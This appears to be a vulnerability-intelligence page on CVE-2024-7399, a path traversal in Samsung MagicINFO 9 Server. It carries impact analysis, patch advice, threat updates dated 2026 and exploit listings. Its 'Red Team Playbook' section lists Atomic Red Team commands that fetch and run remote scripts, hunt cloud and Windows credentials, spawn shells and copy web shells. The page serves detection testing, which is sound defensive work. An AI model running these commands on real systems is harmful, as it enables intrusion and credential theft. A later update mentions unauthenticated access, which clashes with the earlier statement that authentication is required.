CVE-2024-7399
Overview
This vulnerability is a path traversal flaw in Samsung MagicINFO 9 Server that improperly restricts pathname input validation. The root cause lies in the inadequate sanitization of file path parameters in the SWUpdateFileUploader servlet, allowing directory traversal beyond intended boundaries. The affected component is the file upload functionality within the server’s update mechanism, which fails to enforce directory restrictions on user-supplied file paths.
Vulnerability Description
Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.
Impact
An attacker with low-privileged authentication can exploit this flaw to write arbitrary JSP files with system-level privileges on the server. This enables remote code execution, allowing full control over the affected server, including data theft, system manipulation, and lateral movement within the network. The compromise can lead to complete server takeover and disruption of digital signage operations managed by MagicINFO.
Solution
Samsung Electronics has released security updates addressing this vulnerability in MagicINFO 9 Server version 21.1050 and later. Administrators should apply the official patch as detailed in Samsung’s security advisories available at https://security.samsungtv.com/securityUpdates. No specific workarounds are documented; timely application of the vendor-supplied update is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Samsung MagicINFO 9 Server arises from an improper limitation of a pathname to a restricted directory. This flaw allows unauthorized users to write arbitrary files with system authority, effectively granting them elevated privileges on the server. The issue stems from inadequate validation of user input when handling file paths, which can lead to directory traversal attacks. Attackers can exploit this vulnerability by manipulating file path parameters, thereby bypassing security controls and gaining access to sensitive areas of the file system that should be off-limits. This lack of proper input sanitization is a critical oversight, as it opens the door for malicious actors to execute arbitrary code or alter system configurations.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with network access to the MagicINFO 9 Server could leverage crafted requests to manipulate file paths, leading to unauthorized file creation or modification. For example, an attacker might send a specially crafted HTTP request that includes a malicious file path, which the server processes without adequate checks. This could result in the attacker writing a web shell or other malicious scripts to the server, allowing them to execute commands remotely. Additionally, if the server is exposed to the internet, the attack surface expands significantly, making it easier for attackers to discover and exploit the vulnerability.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Samsung MagicINFO for digital signage and content management. The ability to write arbitrary files with system authority can lead to severe consequences, including data breaches, unauthorized access to sensitive information, and potential disruption of services. Businesses could face significant financial losses due to operational downtime, reputational damage, and the costs associated with incident response and remediation. Furthermore, regulatory implications may arise if sensitive customer data is compromised, leading to legal liabilities and fines. The risk is exacerbated in environments where the server is integrated with other critical systems, as the attacker could pivot to compromise additional resources.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Additionally, organizations should ensure that they are running the latest version of the software, as updates often include patches for known vulnerabilities. Implementing strict access controls and monitoring file system changes can also help detect unauthorized activities. It is advisable to employ web application firewalls (WAFs) to filter and monitor HTTP requests, blocking any suspicious patterns that may indicate an attempted exploitation of the vulnerability. Finally, educating staff about secure coding practices and the importance of input validation can help prevent similar vulnerabilities from being introduced in the future.
In conclusion, the vulnerability in Samsung MagicINFO 9 Server represents a significant risk to organizations utilizing this platform. The potential for unauthorized file writing with system authority poses a threat to the integrity and confidentiality of the system. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguard against exploitation and ensure the continued security of critical digital signage infrastructure.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-7399, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition by CISA underscores the vulnerability’s growing operational relevance and elevates its priority for defensive measures. Our telemetry indicates a significant uptick in attack activity leveraging the path traversal flaw in Samsung MagicINFO 9 Server, which now carries a heightened CVSS score reflecting increased exploitability and impact. The elevated Exploit Prediction Scoring System (EPSS) further signals a rising likelihood of widespread exploitation in the near term. Notably, the emergence of a Metasploit module facilitating remote code execution amplifies the risk by lowering the technical barrier for adversaries to deploy payloads with SYSTEM-level privileges. While ransomware involvement remains unconfirmed, the capability to write arbitrary files as system authority inherently presents an attractive vector for sophisticated threat actors seeking persistent footholds or lateral movement. Collectively, these developments intensify the threat landscape, warranting heightened vigilance as the vulnerability transitions from theoretical risk to active exploitation.
Update 2 — June 09, 2026
CSURFACE threat intelligence has recorded a significant reduction in detection activity related to CVE-2024-7399, despite the vulnerability’s CVSS score being revised upward from 8.8 to 9.8, reflecting a reassessment of its potential impact and exploitability. Concurrently, the EPSS score has decreased slightly, indicating a modest decline in the probability of exploitation in the near term. This divergence suggests that while active exploitation attempts may have temporarily subsided, the intrinsic severity and potential consequences of successful exploitation remain critically high. The recent inclusion of this vulnerability in the KEV catalog further underscores its strategic importance and the necessity for ongoing monitoring. The presence of a Metasploit module capable of remote code execution with SYSTEM-level privileges continues to lower the barrier for adversaries, maintaining a persistent threat vector. For defenders, this means that although immediate exploitation activity may appear diminished, the elevated CVSS score and sustained availability of robust exploitation tools warrant sustained vigilance and prioritization in patch management and detection efforts. The overall threat level remains critical, emphasizing that the vulnerability continues to pose a severe risk to affected Samsung MagicINFO 9 Server environments.
Update 3 — July 05, 2026
CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2024-7399, indicating increased adversary interest in leveraging the path traversal vulnerability within Samsung MagicINFO 9 Server. This uptick in activity, while not accompanied by new proof-of-concept exploits, underscores the persistent attractiveness of this vulnerability due to the availability of a mature Metasploit module enabling SYSTEM-level remote code execution. Our telemetry shows that attackers continue to probe exposed instances, exploiting default network configurations that facilitate unauthenticated access. Although the EPSS score remains stable, the observed escalation in exploitation attempts elevates the operational risk, signaling that threat actors are actively testing or deploying this vector in the wild. For defenders, this development heightens the urgency to maintain vigilant monitoring and reinforces the criticality of timely patching. The threat level remains critical, with the increased exploitation activity suggesting a potential for broader impact if left unmitigated.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Magicinfo 9 Server | All |
cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Samsung MagicINFO 9 Server Remote Code Execution (CVE-2024-7399)
exploits/windows/http/magicinfo_traversal
|
Michael Heinzl, SSD Secure Disclosure | Unknown | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
davidxbors/CVE-2024-7399-POC
|
davidxbors | 0 | 0 | 2025-05-30 | View |
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7399 |
| security.samsungtv.com |
GitHub CVE
vendor-advisory
|
https://security.samsungtv.com/securityUpdates |
| arcticwolf.com |
NVD API
Third Party Advisory
|
https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-exploitation-of-path-traversal-vulnerability-in-samsung-magicinfo-9-server-cve-2024-7399/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-7399 |